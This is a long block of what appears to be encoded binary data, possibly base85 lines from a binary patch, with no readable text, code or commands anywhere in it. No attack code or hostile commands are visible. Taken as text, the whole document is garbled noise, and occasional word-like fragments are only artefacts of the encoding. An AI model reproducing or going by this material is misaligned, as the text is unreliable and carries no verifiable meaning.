zXNZvPfR=rFhBB7RUt_d1s8xks@$_^6swo3iMq_F?;l;d7oi|I6U2G&3QRYqAYM@L7 z+|vWoM2CM~TBT7(zI2{^P(8W}zsbi%MHv@DBg^BS+M@-j8hG;y`_5|=^b~_e5O1Be zEb{rz<(jF2F6Pj)XD3ImrcZ`r+G&lBekIqg$l@B$@A4R24jFev?E*^HYAo{laY;Lhx@NdZ z>rUOvUH@)H)yU)zORNg|`D9ISa*_tT=mH@Pps6eH<>c;tR)+(dRAI}HQBC_1k!T^fUpV{zyPDU2;kdvXgEX)j4AxA^=KPW=k z?R;E}OOa=Zm=_^$hbThcZZYBc2(>>iW#Oj7^T$zzzLi#Z8Cmq7c~FG#hRRWeICAWW zPb-UpwHHZU<3i%x!PpW+6fzcoQ!^_OuLS6r4Q~gZ%M^v-s}*q!R;Oi4+&~mx&F$JO6~KHv2PhvyxO)|#OmYRTo@KvZ15eC zl0VVDfW4B~xFT@YJ_7cv;vKl2LGFNSe&`bjO}1D}5qgNg17eICXrCI2_wN}z{j{ex zp-CQ=CL}|jxlx{${)&|V5Lyfxx!!lkmb%DA44kL=V&xS*OQDIAa)L9S)_$guC$C!9fVdq3Xwjz{3PQ`6O4kU6 zFjDaZCu`x{Aja6U#Js%qv$&p>C#~Z~#y0W5L6DE%j|C3QgA@v>n8>H%&e)g*r1xFes_VPc z`fF^$x&07o2N$FL7r;0@ncMl3H9d@qO6%J&RDzzYX4q<_;NIwIlMg&wtqHx?uVd53 zc&R!GI!P%L=Eddt%Y21*b66@SEbj=GSQFGG5?-FiE(IP}3sI5)9}`up`2535+RRHO zqgLLHhj^Q?R^tFTyodOrb_lp6pzn*6hjC!D+Uk#VSlvq@dBuzHQe{gB((y)gU%>Bq zS%Qw0(lq2`T+h{t?l6yKB;53lpy^5n`I;Wl@%f;#BXcD)L%}KwEMBGys6>sy?V~az zfe(|VECn`&+Rx`z{ITYWtRT}(%6mu&u<$=&KSYR^m1h}4cYb$~Kz8&XGXlfqAl;9% zo4XoALPn;!hZhdnFC^wW+3_oK;>)PwNy7p&A;r>=Y$hIRK%kop2;R+#6+MNz4fKjd zXy6jI8}op&JQOlH3Hg%yvFDJxsEMGrD)yk1&b++K=-+xOk!>?+L=5HOX+1#StF`!f zLgbJISfyWhSR5q{@WKwZu{nDQTvpJt4i!_VJ{lu{qp2gDA$3~+=LO*UcIk)K+4cu z@N*{j2(yNRZ>~W|GJf)5y!*F6#M5H25gPV>NIGx@==FV%%+I#tPJSe!SbOCZ0I8?M2S|4g2w_19M6^iphbL!cK390M>17(^MGgakem1A^sM-i8T$dOT zG3J~_1U^4dXT$_cHIA_w;MwSH7V${IA(?^BBAUKQ5hT;wZ#Z>{6GtE$%&C6kQUTn_ zYds5n5o%|ib~C|5K}V()?2IVPCL%x>Mo9jLS zCK%}71yB62BC4^G&q_#rrIEQWWaS&G4n+tMqTu7s(0wb;4Fdt}Bji_q8M~Xr_7r&2 z;)Xn$t`GKnKb`=Zu-n_3hd(q(rk`yurtyC>-Oe|*Q7VmZqAV6)QQgP=U@MN0R|-I3uI#tg{xeuZe3T7Bt3%HbPg2)VoSu#$+qC{J(xTnpJx7#?21q)HY%q;Uv4F3SREk|@^#=xHSIhU*ID6hK=62N;kA+HYVGTI!0T zC(EtHGB)FV6-kBV)c7vpAM zf^OF!T%Ft2`{fvt&Fl8W<==dh!S`^iffVx%u-f_$Al4xF*q=7?S>*C4ox(RIDX4}S z{^q;+kUys=Krhyaosa?ep}c@1-7lhpbXl)}gX|Re<4TU!i+-3wR-HO_n55J`3h0;2plg+` z@RJq?2us9yyRDLmZlNFH{SHyQ9|aWOQm;>Rv@R+1*0*CRpUyLzgSIiRo{M1Yu|TW4 zx`)XE2jhJ^t@8`Elk{96XZ<1ACd5N1e()GDM?0rF87QbRM488~Gm8(p3?lLFtGr9R z=Mij_jX10g~Z&}ED!cs7P(FmUr;*!!-9HyQ;sy3Z*p_=VUF+2LbE|}B zJcGYiu>t_$4e9M&dq!<7Kf;mGxfD`~wHZgGMvAC<`cdRJnacH|?LYmM}$>j%>Cq~k3z##fs zcGy9#dZsCB{gD23Cj8j)CfSYD-uez897vP#`F+bxr~a~@wBk*J*Efsi@!W7R#ZVBW z`rtBfYeEOjaghF%^4z>uYM5ZC zjQ3L8uKmjAzusuh2kHO5A~o+G%=357=A9+PkP)NtEk6Z;$gUv$7F9MiK(5;OfmE9+ zFkp3|j3J;@Bgf>&U#e6Jk8o&IZ>{a24?Id6%QY?F+6WQzIB_F~U~O1r@#a`$8Jl?3 zp*nPK{T!veLI<@)j!S94R?%;pA{oxEjPQly+h)aof*-8AX#zUWFG@J=AraoJJNX5H zyYK5>Z{BFy{dkk?ToW=uUtrn$a_H!s2YbK&A|srH4rAElVG8twt?m!;qm#A+iuijM z^2CD{&z5U#m*XoEf!yZ0JI^bDwuw3&(PfHE-Ln+1+ha8 zok-mW0kVsD1HjG_0UQlX;@dQqiwfj+C>+ze6)5fDenp+zYONF572w||~Do(+cRMmArTZA*d9vXugkwMK!R-mwj|xmKW+=|cSk&Nx~$ z^_(b>H*C{q1BE2XQGmO3a0`2=AB_)|Hg|_aAd_Rcn&`dX!=veI!0`|I-kQdnkR9%h zzaqVr>vV$ytD44)UQ;f;J_JJD83}JKFOUS7t=VJWqe1}4z7D&{m2d;lXBo&uOMpZ9 zQ5J5(T{UAYZeBj8ZwZ$YaYn!7<; zHyc1BJ%YZrDwb?_Y_Mi=c{$7UukW9^V|Q0mdyb-SCT-jC)U{0uN-Plnf82QXAAO__ zUXTU;T+pWBqq4t{<_l!gTQZ@WlQ=e#n%V=z?7O!}vZ6Y9+i$xl=KwBN;rpRN*FXWbda%^Cs znCQQ#w%q{2O^jDXjx%{wB|S=$M!zIei)tI%@6ZOo!m+IEabc5pKoQd&5ZA`PG7;5! zT8{Z!MXf}pe6*~F{Q=U(d+u>W+s;Bo&f7}Cbm@f@vJx9sy&GKVKVqPm zWLTss1tT2R9R||9KK4U}r|*u5)fL;nJlA~&L#$;HT2E>yD`cfRPB2`jY~+DgUp&L! z1YO`azl{`?-x!19i0Y8I3lq)74VMUF-){?Gm;{F%QumXSVmNxhf`g9=0Jqp3yoTEo z4ZdGp@?ZV^>esHq+h-(WS=3km+sB~w_{Px&Qm(WyknNQtN-tu29XQG2*8Z;BrT^5W z4Zp3{H8OBl9%+zx^IoNbEzA=T8OWYz(9^yT>|2V51}O%x5<0o!-M6>ZXgqY_b6dD1 zgNiwk!0!4+5_3$*K$b-axNWzT9Z|o4bEEq0umKFZ1=0nrj3DO7%@7M0RJ$k7Fgy5A zr-*bV7=sD=>t`9Nr|JTr=NmV(EL(;Ms}8T(y$B0wr!5yT~|hg7bq3I{@DO+X8>s@bunjNqeP*eedyY z-+WCOEsv4l$UJ9#Q|URKJ@MUyGxMB)6Ff#>tkb?BE$TN@sN-zWAyotQ``$nm?y3!? zRSh$MRxMgEY;Dq!{s%>I7lJ9qzf%u6TVJ6x;4jcpTm$(7CZgpHyz3fWW$5bp2(8SW zb3nW}s!Zs!@*E-y;rl#~$AtGrrmarB^yzI1{+MYPcpSJ`Aww-yOXyeQ>|dSk{|XZl zsLa8S2e1C{aj@(yo3{#4JQwb&>)^Q4VYjVaV8V1O>s@q%^BoenJW}?vy8H7HRDCJo zeRp(E>+2$eu#hQeNI35+PM9|u_ta38t9S<*704o$j2K~PP&%Yz2Wl#*Y)fjwuc3G1 z;N$@g$DnPm5=U)H=xMx$voZ;ZCZH;+ppiyij6PC6IO0Wn&PZv{w-*~0MhKH2EIPy@ z^;uF>6+NCvXv7rL*urUc_wWmxB@(61U3TEl#T|OB8n2blqwHrSSxuSF_UyPb@T~Cpd8ve+1e@Tm~5Q)(23i59cp4~cL z`zo`4lm9|n8YL)jwaop&@+H{k2sw-Iw%-qMV>CZWC;v;YtDj-CTAM#Gu$9{5fVB!p zXcWgRH&!|O~W{|-;SMO|2>Ijt5Esx}{n)V5YORHOa+bOM@ zt4H73&G@#^NRcsJ0jB3f+j^7_#Vu-2;qv_W?(J0{<6=jbb#6fT0Ve0Nf?kIq1K)$X zeqafnmc?9^ewbGaI+8sK-WhTP0G5xvJg$i5D0y?*3=L^LWdL~`Q+x;YFOeZX6^Z?Q zDA^%|w6C~LWUR04wc>p&N)0E(qMmhLdQT3(rmb@t`emo|HP=~4CYR&6I6!`vL^!$` z@TdPs2v~7{rjq4r=G{*_5ma_*INqh*UdX7*f!mSod>L^Hg^2%H1qSOt9Jp2Yar7{@y0IL>F#_8>Jhd zoNf%ImYdcXtYlXLY!`$@#0`p%q$>wlMO@LFgZ34&k@5{-x4}5+F=&rY=u!( zgnHX~%E}})U9dKT=1P*dgZWk_>8J_diF|270-IseFhC&`AS*Ig20jU^9@D#`Yn<20 zC*n)^CTqnGUa2NZ@$Ai#hXm3WTsfzSJO7!eVb@1ZYF+iM8!GV*MN*}Tp{K~y=u_*S zxOr8n-8|^8hAG7Z=H^euaPjA*y;d3dC<)%Im%vrPDA?3mA|(DuVQPh^blXRsZ+-YW zHWv(Xs3Ph@+V5QQ5`z$Bg}8P>Ekr20ak$T+XNU=OeSEu&@!?ms<+H3+blEfsW*M+i z4O`1>7qA3h@}&E!j*%qwf5gwCa0Zl^xpBW&@!|4TujsWeg~Mj<;MW^)OFu&d2$WF6 zh&M)}GI-f=(V5Z5F5VUNF$$EpMeFm9g}gD~MIataL0L+)4}~yglQ)gJt(HUg?XBgw)s}Gb`4xdZ>YkQvqe$9!Dcoj6rg7s!px2bJ@#3CAp=F}gm@uJ0 z)w%gt*Xu2TlnNFG23)tbT~Qcw1_&qRGX>G#i4*5{Hw|SW3!~3NKY?V07Mv@B2Jgqe zcSh-cN<%$E)^jwFnc9{lBDE+43R7GigzUFm92YK*r)3hzkyieQaRZ_Qvq7N=W834o zP@;7?kzEcA2YJ-G%D@EOG>a2nI7#bYxJDSxq)Eqy4E5F%a0{#0(+EL!z;tWiF=mBD z%%?}6k=?ePC#;bN4Xnmf6KdZ z$zdx7{N}p#d^2vx&}pJ54LHk(T*mgSEp`GRzHTR)F!Ahi{yVx8><_Q%H z6Dmp}6Fzdj{iz?sVvKje;r9GMutKJ8UwEKDcQtt(2pnrqlhGR20abi+#!3D-(*X|z zdKAP6P#!p0a^NCT^YwZCx2ag-H@cHzOvvx*+c$-}X+#DHA~P+7X%?Eee@r;kJ}khP znM#dqxEHsln!smo7Ss};%g_SRzW4+1CDEyICIq|kP6%!7aMeuSnL@wgXyFi=H@|X9G73Fzq$I|uZnKj}eQ3Cd`jApzDF}w-!D2}F> z2pB6W^MUH&77d8@YQVbDrnrKE1MrC$uxIzw%Ug7wiArc(<&6CN^FUKpWPji&W1H|< z6{}c96AHCc%?ga>gMut^w=ELA&jH!SiSX+JLR?sz@O+N#{B5~B;<$&Zl&y<6##ejg zI!SJ-SQ)7&4^umT6>_kkY=K<~DUvbzfUV%TFa(<0kuLULu>#CW=`u8?RRqRiB{2Dc z@|_~#&Vk#`=I8d6eS&0ld3s@xU-b2t)PODbAI6XcprW$<<~Bx_Wcot%3EJ{xs_WcX z*9Kv&3?OZUMDCJ;aof^S4*X^Mk?8er%Th@Q=6s=Yc6@<51Dtv4s5u;Xt`aTl8@>pXM$A`h&VOwG*ieE#P9a#^U&E=v7{geK!3Od^TEj1F#$DQDF)cXMsZv zCt!WWM{djhM52`l@W^U*0w!ogd0gTQ2s1J0mEmzWk@$#3k1m5W1+Jyzk=pc`jr#25 z_pm<)5N!d}Y**=2SNclwvfp(6QqYZ38#cBL-cy-g)gU-_DFaY9PKa>O`V9>821?g@ z*~J;VHOoAE8S`c?ID|cPT*yhy$xFI-6T~<2AQL3ui5m^H*9-AEn4AZ6#MqE%(4u`H1iFk43T{1tb)G>%bFe6H@wxpN$vll}#^R5O-n^4LA%OrO!wO-_?`y@?q zak4vdCHjH0@bZ{7P{^_#EZO3VX&6I#bGa{ALI;(#Z|&2NB;02fRU;977QXUi z=@hy9;~`=isat@57r;|15V0ECJ*?F{K-81c_+L?OaYZs!{k9=gt=>bE#<64g4>A&!B88FRStjCK4= zd=R!SvVn-y#*;hw{lJ5JlTeSDIA-Sfkd74nrPVZs`GpR) zx)*tW3|!S8ZUg>~_gIse9b34njxWxozJclT?IfnwYA@r$W11?}@39sjYJW?kdhN*j z;CN?6;|E>g`d=z#m?abw4Fje(H(**uRmObkhGIC!zd9?AwB|tiv%t^IZg$gW;#__e zon9NkE;!OMR}y!#L$5?U5zbI$s}jz=(n=t{*!hNLJY@&L?TmCwL7#8+ zUeOY5kHq(eIUTr7j)gy;6B3=f&t@ zck$PHpJw)YFw+k&cbgivAglE+k1oL%+w@~V%5xepajB!`varo<>ayT_!}bw(LPa8j z%;G9GGkT;6mMTEF#fw?N4#8WbY9zzm5B31YjYdH3l4_N>Y4yHC_xA7PMG*hBgiA3m zbP2CLne)8koj1ap%#)20|CRrS6YzshYC*+So~{R*xIv#sCkjIfAGiBQNx7dmM42BP z7y``#ZVRM9LH{>0ij^c!fdFz)3j+^#Z9Tw+MZl3FgG&Ts!w;>YA#~Df}5X`aCW< z)Z|}MuE8pOCLxqSCO5+1jGOSJk&c?QXfreR6fN$?`lfY_ZQ6|drf&@qraoh3l_J^Ht2&li1+ZT1kt;0#cp;1N%${f9iQzZU;<@%-d@W^8L%snAbTGXxB>XShP_Wk$s6YPAJuNgt~wpdj7N!2y|4_Lb9GA4IUiM97eYqgEjw( zH0&kwjjNP!#I3Q46Snp*hHF*Y3_jFt+~_tVnNcx47e&9g^p>WAUdQ)J>(i1aiygjy zpOf3P#Vr;RNq1`8Ii2&W?=8Ti!Vw`Hy7Kn8K#)?0P!&S^gq={jn4Kz;P``Ft?@lM1 zD34CBZ>P2DE0U_U5!Hc9kz@nGX(CcAw3a7Sq!6MBCm49fJAOI8 zGQ2Zrq-}2etT;`d?vV4UU;86q%Z$=fei!?{OR8*Y&PN!;&9(Hy1U6P!51hpf9N_C) z&o?^V&keO)*}(N$IBBV91zdfg`uG%gd|BP zG~=XsC?gZNbQgn(ue}l>d`K~k(ZnPa2NAl@)(; z47lK9w-1baA-_%u0R+!Y0hy@guu_n=A_M61oMOOGj-u0i9cWq;J z2PxdXe2%8>UoRuvKR?nd=n~u7kr(NXw}5?5byLh-##Pi8Daor{FXMJfOCvNLX>Y`Jpo`Ia%&Q8B0d_RTd45&sZ?R zi5l9}RNt&Rv+nlewI%cq)Pfo=Gmv&L#sF*o(B%TF2Vo$P5V!=v!F3q)(>;E6O0wgm zc<}=LdXJZzckA25*?PO&d|RBZx2xOkft%HKwYgg)3z98vZdfl{%dM@yY~HW_b8*(W z0qajUi!@!F9X?4vUw&}dkR6kf$6Rjs<(El6Q!C9rAgl}u8n%&eyq(D4hya_w67+_G zK|TQ*O`8ZT*2?Iy5U6AdD~L&wwh~L8FD!l1+@CB3G_>Lo(HN*?0;}UXU`jwNS%+Uh zl_X#cCDPDpFxVwhzz}8%NsV9}RAR-7V=%FC2(bFWi1`)~G2t~)#~FVja-kCLy5Cnz zCh*uG(X4P-d0{PinxJ<}wI0Vcfy}A3+lLNK*`%bj>RsI?3^4?`HmM%8$%8ieF4}~S zwF!+<0o0}e;-HcVtRQWoYo^jvm?6@ZScGjJr33N_6%aHXY*=v&CN>TYli)#}++%fe z{vs*JK|v33ZSv~$@cH88`N{Fc*{he&j?WjO&Eovmv!{p0CyN)aetmhdxHxF3? zxzZ|&^Q+6%VtM)BU+%VD$BdQC-OV=nyx!h9)e8X&eI%vgdzH(4?3#VXSWedxP!g#x zK066y`7Q{GlLSztfULZ^pn_=1QxcAouvY%eaiqH&@vYDyuqT2A{bKCp@8V!_j4Y_EZ`vdiby=ui}ML`x#)c{T@WR;kxlhW?! zLE1e?yYD6K(h8M#?1#6+ODl`a^MlAWQUWP~YZ|o_eNh&RLKviIr0j!ZB)vFQDThf0 zKM^C5cq;(Jp?zguU-hw+f{!*pRJByhXmR5&CjanL)8@#(i}mN(;&1ri1pi7gseSYn z?jVc>pbIN!Gt$@5lUw7eQVIzVAd3WaAi3G|ASzc9(4VLBpFKynsB^0Fxr zA$kigc#9xc(OeE2q@qaZ5z_;VX)??Zz5jI-@w5&ip#3oVM1|6vru-Ta2CWV-DF@#^ z$iW9W_?MG|qfE~jIXJRTM{=+;HpcR(^^$|CDVc6)%0aL9j^*GS8Au07vkMtWWXO1i z3{)UHm4O4SrwpWo(4SEGNBcFR^A}GR7n`e_o2%Q8`Z|*7^&T>DHHGD~!R2zhJotFMez&|nIDPW;?x3e7?S8qEUK`1{>N`>BX87eNdE7`z z98{vPl1Q**3M~k%n{90!*<)jA=I;9}3t7syF)68?>NF?ZKu5rMS`>hU>!fQl8iL_s zn7}2e2tF2?$jl~Xt!U{A0N6yWd}T8IPFN$ok*+!+Q6?uijgqECi(&YPTml4L23>2F z$yMnQN~=3vso7Bx3rfP#T`=NtJ}ZRvR1q~Pf`slb4?_1r=spPD?<;h5k<0vSPoWD% zu59NcbPbW~c;{b6=sM*T9whXaQ@tzvhl(l7ml7qUY;!tJL|G+Nq=2%?rx>U#&0xIR z1I+Q&Lb3*F5Qrt41&^RhXpV3M)4utgWi#q`esN+9E&e+s(W6 zwfe>T>EiU&#UsNmn5b-TZbg9yGq!~}G1Z1=tv12c}3l8ol*UyG`l;`sW6erlm0OqBt zZA)6(%HgfET<$s~v?LRlVC&FOd+@O+N@UwQ)Ccmz${IPaDiceW44Fd?q)w}EN-sk0Ihq$`^*t2-|X}#I@$$q_5>1>hy_MNc;t6)z6Y&0sVP1qrSQSQXb zqG0oeuNM#UOZ~cImfzQ__p7_rR{KN9xU*+3{_Et|+D?^L2Us zrMv%abvJjb;>YEdN!k8ir2q%|xR8Y@oQx0AhLbCQ@%BfgJnbkRBsl-GSJdm<+pc%+ z)Xzl^#NOBSIGY+>r}qCIpwFD}XHFc?obzYS2Wr84x2yM`Zr9iAk5?=0&u^Uap@H$# z!N8n_%U^Xaf89?mU+Y}H-cK&y>Ri6vM=q=44dk-_b1%94htB0c_L0jrgEE$tAKybZ zj}NP#0h{d4z2x$>&gDJ|+2g}jAIo+>$FkMOvfaGNlOac0RU`*Sb3EOjo+J>>H27bt`JzxI;HbDhb3 z{3_3WY2RpEw)^O4o}E+3WcSzp@pxX)e+D=6ywch1|J+M1&vh>MQTTLhz16wg$5`IE z9?Lu5&sg5M9?Lu5&sg4hT|ys|{kfN1p6XogrHo}7@}EFsUTBUN`*Sb3EOjpT(eb*- z`{JMalpT&T-7`i{^+_v_{Mkb`&rLq}(bPM=V8xm>PDT0VJ!2JAw*_%pt>o=~a$MOs zuJ)2+RU`}uV^}!Mo8R1nU+Tdx`9t_UvhaJf$Navr@Ehj6-7kLMTKEm~$?pfh!&YC# ztK9m#hkX8G@cGN0^7+Q#b5Fk01C_cdey+CKAMDok)w|7d^R4^Ie{uBXZ*F>i{3Ne3qUGpkS^|5MS#sdVCkLogE9}i_71*Bg?Fgam?ah6u=UL;FQ(yDM zed^o3uIvE5)Qk3<`Xa1#VQcJ7JAXCd+441SPa0p^3k0AJ1>grwRDta)dvjmKF z)V7Xyli<_owWCet>7gFS5^4t_WHvN) zpmWGUlj>wsc>W?dCp8u>(eeCFO7$cUoJJai297pWT^9*v#flsSE0?ijU>^c_0DB~x z@Zh*uxCFtAo^X7-tT93O)fhP2r>fv$iA!|q@;dTsupW{ei-%0RD6wRfN`SBsEbAad zj)8T4#7+C)h^Gw{ z0giz+q)p~A1O`Bc7*b<6xSewSR`rQ6goj4*0-IQ{@Tf(^+w9v&XW1@=ac8pUoGCe zI(z=)UoC~U)C-3CG7&F$QWSNQEjl^0uvFzPWeGBHAeM<=8u+f#VDe-=Ct_to#L5Bv zU4%z@D3SMysH<~xb$NNc(hBQb-QwkXhT=j4akIgm9MvL{%-KfpaDX93Rg2hfaQjj( zKNQ@)&`plu_7v8l3vEmc`zsiL8*uUL4-wrYw*OBa8Pk5=d^&r>@pdyk&(1mAj=r7O zuO1n4X(ry2Cwu~AA~HV>c=zSA1M!@*Oo)ilM@T$(v|`t0S;PpDo}uu5fYXqbkE z3p-qt3Z=*@haI89U^c8cD1{_w4TJ(LTCsdslp2CJ>!IqrM9a=Obc{scUoBE>&Z$#O z$8Y!%RJiTKms|el<$7yOLsPDW7KL+RQv*BM3GLy9=eT9jJ20o+JFZcH%iI2+SrPEX0GhBsTb9DIO#f4_4wqTgn@Juoe#%&Id&XUFCf0 z?*h#I*qO++bHDTK4S&o%zD)Un)IIdMSB@+|@YuPaj>jp!e-?HpQ*5`4&F{S^I*4|#9rkMQhG@eFYcuXu)PWBc9qNgNqGYT?lP z&+N=p)$L|^dv|rm98qL)UdTu8)a+E+tN*q9vh9>DJF#xF>iE7~y!*BoUUap*{on7G zmv`$A+w^k90Mygw97mI7FJ9qm`xmbg>anWdnNGC~z;;ec+cqE!RMSevS4xtjrG(8@ z98pS`rK_bRlL>SXGYk@#oEn+E>p?{RS_fJCBlcM`R0Mo`I!V<4(4qp&w{_vYgw-)g zD~{VWEyR*!n>INo6fNKl^5l}TPV=Iv9q7pncq@7$QS!&CVtAcqt?)RCv}&CTaFYD0 zyI0fE;;;P$c`1s#_hGowwO%M0Xgj~6AjU$!7)}`g?`OCuh|OkrQ??%Hw7ZqlYCL6X zb#75VwaZq^>rRYFHU>|cG^>dTFKOkoyfM%{!4oU-nYlC|nIZf$_3D@elCI8CkPBVn z0EM>W1+OhXI)`D@KJSlJh96zV>ZYUTIFvohCI~B&j?pkW(>93*Q7d*L05o`?L!`E- zal&P{{t+wOm?tS|$+BwfxEz zUI^UL^a(>3uR0-w8y1Va@vtm9@kJVu+TC$oi`7)3lFNoC>|b~ZL{3qpbzYmI9=ss2 zzajB{h4l?xKetq6p}~V7hU<(8<6sF#*1VvS;|-+!&U->+(D#qz4zVXYC8ymqZG2xL z|KMk95G^NXH{C+gMk8DN1XS+RH}1MRJQZ_{dW0reQV8NnS)>)FYF5-nu8wSJNXh zkB`n^FO&=~#74FLr#L&Fe~EsMG{+EU#1`#1QI%u+a1bcDuaxQ3;)mlhyKTmRbMeGU-!ZXp#ADE$_bI zGAsGlCt7mjoZsmFXu4@ey{%9PDO#FD1|b5TAzn0v7=aKls24i|%eonjio6^=Du82j zP=XLUSC^^)HQYx*MTT%Rg$Ukg!-C%klf3tpWCzZjFc1z-Kyf{oTMRJ%8-XLd>j8#S zFl0a=9HcLLO5+U2&Ojbh;tXdZ8(Lf@>asKTsj6%!ygJQu@?GE(fX6TU!C~x%0)j9t zP3yAd>OAZG?LMzdo!eW`9L(mah%-+HlTqj4z*N^jP9PL%-sYC~^OcI&*3|CbtE8VH z0;(dyd2PgheKxAZqZk`iLV;8QvOp+OHjZ<4sT65Zh?9+32!EE_uXw}lHR56QNx$D4 zW^DEWtIr#S;(Kt^W>$CkAl3L@ij z%x?lG3;Tko3`dB;p`F{3xZh%uA};%pl8Cn&D2bra69y8aSc0_pump(#sh^M*D~zaP zpb0%L9R}y@VA3CXJ>`&mU2V2k@BQ47B5jCTMXw9xyvyBQ^182DSBU)4K@T@sCNc^5 zbkyi)$SDlH?v~rD#&OQ zQ$Yp-S(I8*^%(-YQjtmL2h3HGUV(O>$Owpyd%`$%q&EttBe_iDnu*P4KF^7o=FARt z$>1z)8Vd@yIek$Q@w@?(2zXx{C=MWwVAdB0>6`@T3saZY?!noz!XUkaGc~na{QT8L zJIb@`E+#Ei`FB!2FFQ<ERfPn!>00SeCKK-J+ z82}R4FOZ{dLX)Ppu*BgfoEcCd5CB1@Ja8aa5C*bkg)std+PBHGv!}hDQN%6E?E(G( zNi#}p4jH@b%&-Rwa?stBc>L!y-Z;*dQ44*EH{eKdVTj%=TUK4IJVR9&Mxq*%%+&a< z%|j*#q2nmIxJn+6>Hzq9D_J0WE*Dhqt~k;hy%k27ovuK#TtBFRb7{6 zzGz)FwRl05H>#WqRWBG`?7MBkj+n$l=AGRuAUjjDC}n-UfNn4$dCOe245o6TXNOcu z=Fe7TCKp^q>X%(-hHwa`J+l5BW@f{|Y^Gc-2I zW>9LP^{{)**I)K)YtNh3+j`{oSe6e7uNw7NNwA5fXPn2P7fXsO11r}1gmT|if=z?0 zMTVqR`@`5459RhUXfQkrbOf`bsFG;c;PDvz(!)3OfI@y=7zRemWQ2#t&Lca zk+Bg51Pp|>Ql%71R#Io4!7-$S4bD6z1%el0bIeOvqN2dVjD#f-HVi>QZ4O-vF!IFW zzevd)neC%Bf*}lJLV$#v2?&_c0}ur8Gyu#91^}@BLO@P2WWq|rbY2pGuyzAto>)85 zIuz6KBH}L2(cKP=7lmdeImGouQj+(nwT^hJ?g4tj@K*7RO(r#k(3MyTOTzof88RQ` z&V-IzB-W0zNdO$E+p+81l<3?U)pL0#zbg*M*P)3mcf@NLAXwZma1wGoZzhSPEU}Ze zYq+_yH&k560uzmSDDCt#;S2HJv$!OJ$h2rhaG3$-0I~Kd@sJm7T2mSz3_SZG8FhqD zGFMnvB=#?QH|b`a5);s@?1Oe}**%%tgNaj#LmoQ?|Af4ue0O<6x@QrKLiamwNEM=k z2eia*67)qGyAxn*hc5`~O+2J7{gL@Xe{v4geNSCtE|Pn*VCN%+gj97MXt6;@X&Zj_ zv6eMMLA~Lsolq^n_JP%aSv$i5%2Sp@;%ArHiA!RsOAzvsF#25TjC;{D)mb#kNSy^D z?KDdTWYEYGMZ3tL5ufa1xnXebzCLdln_e5_N(c(7*y^;YRq+v~L59y~xU7X{umDq8 zs$Fy{*GylQW5~X%Pg<7bfbNN+@q=Z)dEmgzJ}tpXc8d=R(lt0OcGZXwli+=0$3eOn zA1IGl9Lbz|hGaXbk_D>uL>4D9VgM2@$ZMY@F7NuU4yZjPspIW>IABr+!2#nEgEOk9 zdxC*_>55T*D9EN2DkyF;T}3UZ(-LG5lGss5kYPyT#v!o|L=ra=iFGKVzlMYt-~I+{ z=3&N_;yjAcY2_1zmn5D#<#e}b34k+BV4W)BWaTvwZxqwuGel)*H5v6@e6?eQ)?e~% zK3RZi@T}(Mhee~9^(6v<#^%N6mmD&DzR00!n_`M|&uLD1!cHG+I_ z;L0t3J|^D{Ml%3Re0eJX5?J2~_6*-uXz3Z&W8SHE07oCFNff zqAeQ{4XLyK6d#op#m-OPO$n#CoTylki2_c(DN$;Hph~l%oSA{G(C}>TDgA0lmolYP zgb?}-CPcU_!)1?<2t?2_M%DI54m=U)SCxDK46Fy_0|WO?0vK4GNQbdXOPBd2+3#yORxzUlDo`Q=_KG|_ILE(&c5Y;;tH7nYsP5UgRl z9*>fA&ag7O32jBioz6yd)w|X=s}-&BhF-GBH?V~h^#=6<-!ION775mGq~l;6t{4^3 zB}8_K|Bg~Y8Kc1l=0G$0(UrQNr)8}YbYbp3A-=112wp6lv9*AxEkfRS+OE&09L-eQ zU?pLr`c;fVt4iyBd`(R=zV;w5=Vnx!!6j@k=q7&N= zLzcFF6{a)Vh~-b3mehI}N*@$z0}ie39+yW1J5WaWm8`sK9w3;B7&*(lQuY zpFW-2EmSLK5~oc%+I;?iqpzg5A9!#U1uyq~_jpedp0?*7f0x_S9Onc~1qd7;O6iK@ zmEZL6zh<1>EHZE&ho*li{Wk1*^91k|^vTK5vCCzF z!hUhOyu4dHyInlLx?L?!7DtQY#fQ!MX0cs=mP@>Dji6HUyE~iR`vCTbv(P6kw)OBA$YA2Z$YAgH@KcB&?Z9BzEeYaNqvB3ym*8SuPhi z^3yfY`Cz723rsB^=cBjVv$nB#2CdyQh;a-?FTi*Rc){2)P`Q4FUl8jSlomkoqBy4j z@d+Yb0t>@}>?nu8?hp8IYj+2V@eGpJr{?I$9cb-Qnm^SY*b{HSDafAtim}mQDp}(^ zL$cSPr4%wu`SVYf&4X{s+u4sK?+$&5FQd=CMJ1E z5GE2|E-)r!0xcK6qqJgv-E*Y@lFY3qvs3ux2td#WS}!{hEvbR;~=*I<)* ztX?QP%t|%V3sW=0bDWIn?6tIIbtRzXFJKMRTwI=Vq z80eeR1r06<3d>?JzhPYep{^aymNvZrT$9!!tvePCqb>n}{58RNfIJA-8RJdvZB+w2 z(U9k!fHObKv?7|wyq2tISQ*xrg+SFtZxlz_Mpi_Z=Nf?;@Zg9RZ3K{gn5ulaLIDNTeNgy2bqqnDFC~y4 zSc?{J&K}UcVYJ#P3WcNVPKBeg0H6j|7Vsbjq9|e@hzBij54TpXSoQBTDG)?a0x_(V z81(>{01c|vcsf33)-YZJiUIsV)fMHbYJb)8ig5&Dg)YHd45)KS$561Gkps*0;$itA z1qQb~2M`ALPlG}5M6<+ft#F>4Ix8&!IKMF%5oaBQB&>3&>%7_Mx|!O6v(YG{6KDS- z)iVRl&9pLwcMW2qSbG>BsHut*=dUgZO^!}Rxk`Ph30f_lU0f`l z-ELQ#o7HxCjTe;2(}ECAS@(^|LP+xZpd5x9zPS$)F@catJZ9nt8jp#w?t^%DV-xFr zX6xeecjg{nvcFZp*lafl^3H*it8)HrxmF5k3`Diq>FY?kF5SXj?iF^XgHLb2%{oh4 ztR`pu<_hTx5V_dhp|<5{wZkk`Gqe>!sG~e8NXFKH-yxPxyX)!Yo(o==dZqPq@z#K8ei}-c8<yR8_0Pouyt{hRG zJm{JSU31@b&2Ai<`O4;>Mc14km#xjQ>8~&TjV;Ok`{KoVyWXs?m!2!F4YtzSM6a|q z=t^q$3oO zU9((j;yAR#gFOD4U_3i{L1=v$2D#-aE$c$%4pVs+b*Dfxy?SfgHZDvmPstWdhlv~u zi6ho(haacj7tzkQjyR+i#31TP36YSAC#DDEBXQY(&8?7^ZNqa@I%)4KtY-jdnbLV$ z_Y>4;+=9l7yUrPW{OESwSz(*i@`nAyY!*}mJEb@)Z^aX?i!9Po}BcUhj+uv1Mi!b`?<#FBFSE~3iF=jQFc2+;IR1?-}c!kIH7LLyn- 